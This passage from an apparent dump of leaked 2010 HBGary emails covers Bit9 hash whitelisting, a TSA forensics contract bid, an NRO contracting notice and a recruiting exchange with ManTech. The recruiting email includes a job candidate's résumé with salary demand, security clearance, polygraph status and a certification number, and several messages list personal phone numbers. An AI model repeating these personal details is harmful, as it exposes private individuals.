\r\n1.       Bit 9 OEM’s their MD5 hash database to Guidance Software.  I assume that is what Mandiant is doing too.  Guidance doesn’t integrate with Bit9 software to do white listing and block applications from running.  The encase integration is an enscript that performs a look up to the Bit9 DB check to see if there are any *matches* in the data base for the MD5’s that Encase finds on the disk… If there are then Encase provides the Bit9 intelligence about the file it knows about.\r\n\r\n2.       Bit9 has a commercial white listing enterprise product with an agent that gets installed on the end point.  The agent doesn’t allow applications to run on the end node machines unless the MD5 hash is first approved by Bit9.  Neither Guidance nor Mandiant use this technology.\r\n\r\n \r\nJohn Hopkins Applied Physics Lab has the latter and I saw it in action when I was doing the POC with them.   We had to approve the DDNA.exe file with Bit9 before it would install and run successfully.  They said they like bit9 but sometimes legitimate applications don’t run properly.\r\n\r\n \r\nLos Alamos asked when we’re going to start using MD5 hashes in Active Defense while I was onsite this week.  I’m adding this to a support ticket to get into Engineering queue.\r\n\r\n \r\nBottom line is that MD5 hashes (and the SHA hashes) are the standard for all digital forensics on disk.  With that said Active Defense can benefit from starting to utilize MD5 hashes or SHA-1 or SHA-256 hashes for a number of reasons. \r\n\r\n1.       To verify integrity of files i.e. when I find a piece of malware, I hash it.  When I send this file to someone, they can hash it first to make sure they have an exact bit-for-bit image of the malware.  This applies to Memory Snapshots and files copied off remote machines like the SAM file, index.dats, prefetch files, etc.\r\n\r\n2.       Identify known good and bad files but also Active Defense needs to start incorporating.\r\n\r\n3.       The requests I got this week from Los Alamos were to include MD5 hashes in Scan Policy should include RAWVOLUME.FILE -&gt; if name =  blah AND MD5 = 23049830498230489203984203984 \r\n\r\n \r\nRich\r\n \r\n\r\n\r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com] Sent: Friday, August 20, 2010 9:44 AM\r\nTo: &#39;Aaron Barr&#39;; &#39;Maria Lucas&#39;Cc: &#39;Greg Hoglund&#39;; &#39;Rich Cummings&#39;; &#39;Michael G. Spohn&#39;; &#39;Phil Wallisch&#39;; &#39;Joe Pizzo&#39;Subject: RE: Ted met with Bit9\r\n\r\n\r\n\r\n \r\nIt doesn’t get rid of our false positives.  We’ve already checked\r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, August 19, 2010 11:37 AM\r\nTo: Maria LucasCc: Penny C. Hoglund; Greg Hoglund; Rich Cummings; Michael G. Spohn; Phil Wallisch; Joe PizzoSubject: Re: Ted met with Bit9\r\n \r\n\r\nReduction of false positives would be good.  InQtel told me the only reason they funded FireEye was because of extremely low false positives. Didn&#39;t matter as much how much much they caught.\r\n\r\n\r\n \r\n\r\nAaronSent from my iPhone\r\n\r\nOn Aug 19, 2010, at 2:31 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nBit9 stopped by the booth.  They have an OEM white listing service that Mandiant and Guidance Software both use.  Ted understood that it may be beneficial to consider this for Active Defense to help reduce false positives.  \r\n\r\n\r\n \r\n\r\nThey have OEM pricing and will would like to setup a telecom to discuss if we are interested?\r\n\r\n \r\n\r\nFrom a sales perspective I have agreed to work with the Federal Sales team in the same way we work with Fidelus -- to share leads and account opportunities....Maria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',12122,'aaron_hbgary_com/12122.html'),(10674,'2010-08-20','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008249.M10143P14101Q5529.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Re: FW: TSA ITSSS','Ted\r\n \r\nCan you confirm that you spoke to Dale briefly and he was surprised that we thought there were product requirements?  \r\n \r\nDo you think this needs to be clarified again... would you or Aaron like me to schedule a call with Dale?\r\n \r\nMaria\r\nOn Fri, Aug 20, 2010 at 7:47 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\nThis is the contract, work with Aaron to make sure this isn&#39;t your deal-----Original Message-----\r\nFrom: Aaron Barr [mailto:adbarr@me.com]Sent: Wednesday, August 11, 2010 6:57 AMTo: Penny Leavy; Greg HoglundCc: Bob Slapnik; Maria LucasSubject: TSA ITSSSSo here are some of the requirements for the TSA ITSSS contract in FY10.\r\nMost of these capabilities they don&#39;t currently have.  If we win this wewill be implementing the full suite of HBGary Products (AD, Responder, TMC)and Palantir and Fidelis.DIGITAL FORENSICS:150 Cases for FY10: 50% of those 2+ weeks effort each.\r\nExpanded support in Program Analysis and E-Discovery.  Support to CI.Training Development.Will develop a malware reverse engineering capability.Will develop a malware sandbox network.Will develop advanced processes and procedures to proactively detect\r\nintrusions and compromises.COMPUTER NETWORK DEFENSE:FY10 addition of remote systems to TSA SOC Monitoring.Begin security monitoring of the non-OIT managed IT systems and integratethem with the IAD IR procedures.\r\nWill develop a cyber intelligence capability.Aaron-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',15531,'aaron_hbgary_com/15531.html'),(10675,'2010-08-20','arc@westfields.net','/aaron@hbgary.com/new/1297008249.M227011P14101Q5530.eml','federal@hbgary.com','MOD Sole Source Business Opportunity Posting','\r\nThe NRO/MOD Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: FFP/LOE. The Effort Type is Support Services (O&M).\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',11101,'aaron_hbgary_com/11101.html'),(10676,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008249.M435725P14101Q5531.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,','Re: TSA ITSSS','There are product requirements in that for the personnel quals it state needs to be familiar with enCase, FTK, and HBGary for digital forensics. &nbsp;Then there are the capability requirements of needing to set up a malware RE, proactive defense, cyber intelligence capability in 2010, which we believe between HBGary, Fidelis, and HBGary Fed provides a great story to satisfy their growth areas.Does that match?AaronOn Aug 20, 2010, at 11:05 AM, Maria Lucas wrote:Ted\r\n&nbsp;\r\nCan you confirm that you spoke to Dale briefly and he was surprised that we thought there were product requirements?&nbsp; \r\n&nbsp;\r\nDo you think this needs to be clarified again... would you or Aaron like me to schedule a call with Dale?\r\n&nbsp;\r\nMaria\r\nOn Fri, Aug 20, 2010 at 7:47 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\nThis is the contract, work with Aaron to make sure this isn\'t your deal-----Original Message-----\r\nFrom: Aaron Barr [mailto:adbarr@me.com]Sent: Wednesday, August 11, 2010 6:57 AMTo: Penny Leavy; Greg HoglundCc: Bob Slapnik; Maria LucasSubject: TSA ITSSSSo here are some of the requirements for the TSA ITSSS contract in FY10.\r\nMost of these capabilities they don\'t currently have. &nbsp;If we win this wewill be implementing the full suite of HBGary Products (AD, Responder, TMC)and Palantir and Fidelis.DIGITAL FORENSICS:150 Cases for FY10: 50% of those 2+ weeks effort each.\r\nExpanded support in Program Analysis and E-Discovery. &nbsp;Support to CI.Training Development.Will develop a malware reverse engineering capability.Will develop a malware sandbox network.Will develop advanced processes and procedures to proactively detect\r\nintrusions and compromises.COMPUTER NETWORK DEFENSE:FY10 addition of remote systems to TSA SOC Monitoring.Begin security monitoring of the non-OIT managed IT systems and integratethem with the IAD IR procedures.\r\nWill develop a cyber intelligence capability.Aaron-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com &nbsp;&nbsp;\r\n',11494,'aaron_hbgary_com/11494.html'),(10677,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008249.M764588P14101Q5532.eml','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','Re: ESOC','Thanks Eric. &nbsp;I appreciate it.AaronOn Aug 20, 2010, at 5:55 AM, Eifert, Eric J. wrote:Thanks Aaron.&nbsp; The good news with the FBI taking so long to award the contract is it gave us plenty of time to fill our pending positions.&nbsp; If something does open up that we or our current team is not able to fill we will let you know.&nbsp;Thanks,&nbsp;Eric&nbsp;Eric J. EifertVice President, Cyber Defense Solutions Business UnitManTech Mission, Cyber and Technology Solutions(direct) 703-388-2127&nbsp;&nbsp; (cell) 703-966-9998&nbsp;&nbsp; (fax) 703-388-2148&nbsp;**PROPRIETARY &amp; COMPANY-CONFIDENTIAL**This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.&nbsp; Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.&nbsp; If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.&nbsp; Thank you.&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, August 19, 2010 10:56 AMTo:&nbsp;Eifert, Eric J.Subject:&nbsp;ESOC&nbsp;Hey Eric,&nbsp;I am aggresively looking for people for multiple potential positions. &nbsp;One we are building a proposal for is the TSA ITSSS. &nbsp;I am using a headhunter and he seems to be pretty good. &nbsp;I know you guys are just starting the ESOC but its a sure gig vice TSA as a potential, so if there is a potential for me to fill a few slots do you mind if I send you a few resumes and get your take?&nbsp;Aaron&nbsp;here is one.1)candidate 1&nbsp;Lives in MD&nbsp;Desires $120K Minimum&nbsp;Top Secret SCI Clearance until 2013&nbsp;Need more challenging work than Navy provides. &nbsp;Focus career path in a large company with room for growth.&nbsp;&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bachelor of Science in Information Systems Security, MAGNA CUM LAUDE; Certified Information Systems Security Professional (CISSP) 363829;&nbsp;Certified Ethical Hacker&nbsp;(CEH); EC-Council Certified Security Analyst (ECSA); Computer Hacking Forensics Investigator (CHFI).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Multidisciplinary management &amp; technical experience – enterprise wide IC IA policy development, CNA/CND/CNE, Technical Assurance, EAL, NIST, DIACAP, INFOCON, STIG, IAVM, risk mitigation strategies, penetration testing,&nbsp;vulnerability assessment, intrusion detection/response, Nessus, Snort, Metasploit,&nbsp;Common Vulnerabilities and Exposures&nbsp;(CVE), Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, digital network intelligence &amp; analysis, exploitation testing.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Active Top Secret Sensitive Compartmented Information clearance and Counter-Intelligence Polygraph, valid from 2000 through 2013.&nbsp;&nbsp; &nbsp; Member of Institute of Electrical and Electronics Engineers (IEEE) since January 2006, Member of Association of Information Technology Professionals&nbsp;(AITP) since January 2007, advisor to the AITP Chairman of Standards of Conduct and Code of Ethics Committee, Member of National University Cyber&nbsp;Security Information Assurance Advisory Counsel, HOA Secretary for 109 unit community.&nbsp;&nbsp;Published contributing author, published IEEE GOLD newsletter article, webinar speaker, and public conference speaker.&nbsp;EMPLOYMENT&nbsp;Navy Information Operations Command Suitland&nbsp;(research &amp; development agency for the US Navy)&nbsp;Dec 07-PresentComputer Network Operations (CNO) Research &amp; Development Manager&nbsp;| Tech: Wireshark, Snort, IDA Pro, ProcessExplorer, Strings, Web Application Attack and Audit Framework (w3af),&nbsp;Common Vulnerabilities and Exposures (CVE) and Nessus vulnerability scanner.Manage 10 person technical team multi-million dollar projects. Experience in program management, request for proposals, product deliver, software application user acceptance testing/evaluation, man-train-equip personnel strategy, technical assurance software evaluation level of assurance processes and software development life cycle procedures supporting the federal landscape.&nbsp;The Computer Network Defense Group LLC&nbsp;(cybersecurity information assurance consulting firm)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Oct 08-PresentChief Executive Officer&nbsp;| Tech: Nessus, Snort, Metasploit, Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, NMAP, and open source intelligence collection analysis tools.Chief Cyber Security Consultant, lead penetration testing teams, vulnerability assessments and risk mitigation assessments.&nbsp;Business acumen: Procured two professional consulting service agreements, two statements of work, one paid sponsor agreement; Experience in&nbsp;drafting RFP responses, business development, service development and delivery, marketing, and advertising.&nbsp;United States Cyber Command&nbsp;(formally Joint Functional Component Command – Network Warfare)&nbsp;&nbsp;&nbsp;&nbsp;Aug 08-Dec 08&nbsp;Computer Network Operations Subject Matter Expert, Senior&nbsp;| Tech: tcpdump, Hping, wget, Dragon IDS, Cisco devices, SonicWALL.Managed team of 15 persons, responsible for coordinating offensive computer network operations for the United States Department of Defense and other federal agencies. This component facilitates cooperative engagement with other national entities in computer network defense and offensive information warfare as part of the global information operations mission.&nbsp;Navy Information Operations Command San Diego&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Oct 05-Dec 07&nbsp;Computer Network Defense Operations Manager&nbsp;|Tech: Encase, RealSecure IDS, Snort IDS, eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, Nessus vulnerability scanner, NMAP, and Common Vulnerabilities and Exposures (CVE).Directed 300+ vulnerability and penetration security assessments on 300+ networks. Managed overall network security team of 25 persons and 18 networks across the Pacific Ocean.&nbsp;Lead instructor of passive network analysis, log analysis, intrusion detection, defensive tool installation and configuration for 100+ local customers and 100+ global customers across the Pacific Ocean.&nbsp;Fleet Information Warfare Command, Detachment San Diego&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Oct 04-Oct 05&nbsp;Computer Network Defense Analyst, Senior&nbsp;|Tech: Nessus, Snort, IDSCenter, Encase, iptables, tcp wrapper, Ethereal (a.k.a. Wireshark).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Developed incident response team for Commander, U.S. Naval Forces Central Command; Commander, U.S. Fifth Fleet. Led 150+ vulnerability and penetration security assessments on 300+ networks. Managed 50+ incident response conditions and 20+ incident response teams for Commander, Third Fleet; Commander, Seventh Fleet; and Commander, Fifth Fleet.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Senior instructor of security courses focusing on vulnerability scanning, vulnerability analysis, event monitoring and compliance reporting, incident handling, and penetration testing for 100+ customers.&nbsp;Fleet Intelligence Training Center Pacific, San Diego&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Aug 03-Oct 04&nbsp;Communications Watch Officer&nbsp;|Tech: Unix/Solaris/Windows 2K, T1/OC, DMS, encryption devices, Cisco devices, Symantec Security Center.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Network Operations Center lead systems administrator for 1,000+ customers and 2,000+ communications circuits ranging from west of the Mississippi river to the Hawaiian Islands.USS HIGGINS (DDG-76) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Oct 00 - Aug 03Systems Administrator&nbsp;|Tech: Unix/Windows NT enterprise network, Cisco devices, Norton Anti-virus (enterprise), Office 2000.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sensitive Compartmented Information Automated Digital Network Systems (SCI-ADNS) shift worker responsible for Ship Signals Exploitation Space (SSES) global network connectivity which included 20 voice and data circuits and three networked domains.&nbsp;&nbsp;EDUCATION&nbsp;Westwood College, Denver, 